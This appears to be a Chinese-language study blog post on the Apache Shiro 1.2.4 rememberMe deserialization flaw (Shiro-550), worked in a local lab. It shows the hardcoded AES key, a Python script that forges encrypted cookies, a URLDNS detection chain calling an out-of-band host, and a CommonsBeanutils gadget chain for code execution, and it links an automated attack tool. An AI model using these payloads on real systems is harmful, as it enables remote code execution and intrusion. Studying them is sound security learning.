前言
しろ(Shi ro)
走完CB链再回来看这个
参考:
https://natro92.fun/posts/4b382a45/
《Java安全漫谈》
环境配置
环境:jdk1.8 + tomcat 8.5.98 + shiro 1.2.4
这里直接用p神的项目了:https://github.com/phith0n/JavaThings/tree/master/shirodemo
下载后直接用IDEA打开,配置一下tomcat环境
运行配置
Tips:如果tomcat控制台日志出现乱码,请修改 tomcat 服务器文件夹下的 /conf/logging.properties,将里面的encoding全部换成GBK
Tips:只有下载了源码才能在全局搜索中搜到对应调用的方法:请在 设置-Maven-正在导入 内修改
然后等待tomcat服务完全启动之后访问 tomcat 服务器文件夹下 webapps 里对应的路由即可,这里是 Shiro_war
账密在 shiro.ini 里
Shiro550
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)
Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险
漏洞原理
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe
字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,其值经过了序列化,AES加密,Base64加密三步,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell
分析
逆向分析,从 Cookie 的加密过程入手,直接在 IDEA 里面全局搜索 Cookie,去找 Shiro 包里的类
最终是找到了CookieRememberMeManager
这个类,观察getRememberedSerializedIdentity
方法
分析代码,先判断是否为 http 请求,是的话获取 cookie 参数
然后判断 cookie 值是否为 deleteMe
不是的话则判断是否符合base64的编码长度,然后进行base64解码并返回
现在 ctrl+shift+alt+f7 找一下调用了getRememberedSerializedIdentity
的方法
找到了 AbstractRememberMeManager#getRememberedPrincipals
方法
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
这里先调用了 getRememberedSerializedIdentity
取出 cookie 给 bytes 数组
然后 bytes 数组里面的内容会进 convertBytesToPrincipals
方法,最后返回
现在看看convertBytesToPrincipals
方法:
沃趣,deserialize,别急
decrypt
先看前面 decrypt
解密的操作:
先用getCipherService
获取密钥服务,即AOP的实现类
接下来看cipherService.decrypt
ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
传入两个参数,第一个是加密的 cookie ,第二个是 key
看一下这里作为 key 的getDecryptionCipherKey()
方法:
private byte[] decryptionCipherKey;
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
是个常量,找一下是谁调用了decryptionCipherKey
前者是 getDecryptionCipherKey ,而后者是 setDecryptionCipherKey
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
一路往上跟
至此,得到我们在找的常量名DEFAULT_CIPHER_KEY_BYTES
,跟进去看看
是一个硬编码在源码里的固定key:kPH+bIxk5D2deZiIxcaaaA==
于是在这里,我们发现 shiro 进行 Cookie 加密的 AES 算法的密钥是一个常量
deserialize
现在回到刚才的位置看看 deserialize
方法,跟进去
是个接口,继续跟看看谁实现了这个接口
ctrl+alt+b 查找接口的实现类
进DefaultSerializer
看看
调用了 readObject ,是了,这就是我们的入口类
加密过程
要伪造cookie,就得先熟悉加密流程
直接下断点在AbstractRememberMeManager#onSuccessfulLogin
里面,因为要开启rememberMe
选项,所以直接锁定这里的isRememberMe(token)
,判断有没有选中 RememberMe
然后进入rememberIdentity
getIdentityToRemember
里面一串调用会保存用户名
接下来回到rememberIdentity
,传入两个参数进入重写的rememberIdentity
进入 convertPrincipalsToBytes
方法,和之前解密部分里面的convertBytesToPrincipals
相似,不过将解密变成了加密,反序列化变成了序列化
先看 serialize
然后看 encrypt
cipherService
直接告诉我们是AES了,然后是getEncryptionCipherKey
方法和前面解密同理,一路跟过去可以知道是那个硬编码的常量
接下来就是rememberSerializedIdentity
方法
cookie过一次base64编码,就这样
漏洞利用
首先当然是准备一个AES加密脚本,上面 cipherService 那里也展示了相关的参数,比如加密模式是CBC:
import base64
import uuid
from Crypto.Cipher import AES
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == "__main__":
filename = r"D:\Code\Java\Test\ser.bin"
with open(filename, 'rb') as f:
data = f.read()
print(aes_enc(data))
URLDNS链
URLDNS 只需要 JDK 的包,所以一般用于检测是否存在反序列化漏洞,掏出之前写的urldns
package com.example.urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap ht=new HashMap();
String url = "http://xtu23zlvbrt60860mj4zrotjpav1jv7k.oastify.com";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
Serialize(ht);
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object Unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe
CB链
package com.example.cb;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_name","0w0");
Utils.SetValue(obj, "_bytecodes", new byte[][]{code});
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(2);
Utils.SetValue(beanComparator, "property", "outputProperties");
Utils.SetValue(queue, "queue", new Object[]{obj, obj});
// String barr = Utils.Serialize(queue);
// System.out.println(barr);
// Utils.UnSerialize(barr);
Utils.Serbin(queue);
}
}
打的过程中遇到了一点小问题,shiro 自带的 cb 版本是1.8.3,而我的 cb 版本是1.9,报错弹不出计算器
Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的
serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患
怎么办?本地降级吧(
CC11链
还没学
漏洞探测
致敬传奇一把梭工具:https://github.com/SummerSec/ShiroAttack2
当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe
字段
Shiro721
请看我学shir0721吧(((
粗略看了一下貌似是密钥生成方式改变了,变成了动态生成,而且是CBC模式,和CBC攻击有关,等我回头复习一下密码学